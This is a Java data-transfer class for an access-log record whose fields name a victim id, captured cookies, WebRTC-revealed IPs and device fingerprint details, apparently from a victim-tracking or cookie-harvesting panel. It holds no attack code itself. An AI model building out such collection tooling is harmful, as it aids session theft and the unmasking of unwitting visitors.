package com.reliable.api.dto.es.taskinfo;

import lombok.Data;

import java.util.Date;

/**
 * @author yuyantao
 * ClassName: AccessLogTaskInfo
 * date: 2025/8/6 9:42
 */
@Data
public class AccessLogTaskInfoDto {

    /**
     * 时间戳
     */
    private Date createTime;

    /**
     * 受害者id
     */
    private String victimId;

    /**
     * 来源 IP
     */
    private String sourceIp;

    /**
     * 来源 IP 归属地
     */
    private String sourceIpLocation;

    /**
     * WebRTC IP
     */
    private String webRtcIp;

    /**
     * WebRTC IP 归属地（可选）
     */
    private String webRtcIpLocation;

    /**
     * 域名
     */
    private String domain;

    /**
     * 完整 URL
     */
    private String fullUrl;

    /**
     * 页面标题
     */
    private String title;

    /**
     * Referer
     */
    private String referer;

    /**
     * Cookie（显示开头的字符 6 个就行，点击弹出框框查看完整的）
     */
    private String cookie;

    /**
     * 浏览器名称+版本
     */
    private String browserVersion;


    /**
     * 操作系统+版本
     */
    private String osVersion;


    /**
     * 设备类型
     */
    private String deviceType;


    /**
     * 设备内存
     */
    private Float deviceMemory;

    /**
     * CPU 核心数
     */
    private Integer hardwareConcurrency;

    /**
     * 屏幕信息对象
     */
    private ScreenInfoDto screenInfo;

    private String imageUrl;

    /**
     * ip封禁标识
     */
    private Integer banIpFlag;

    /**
     * 设备封禁标识
     */
    private Integer banVictimFlag;

    private String countryCode;
}
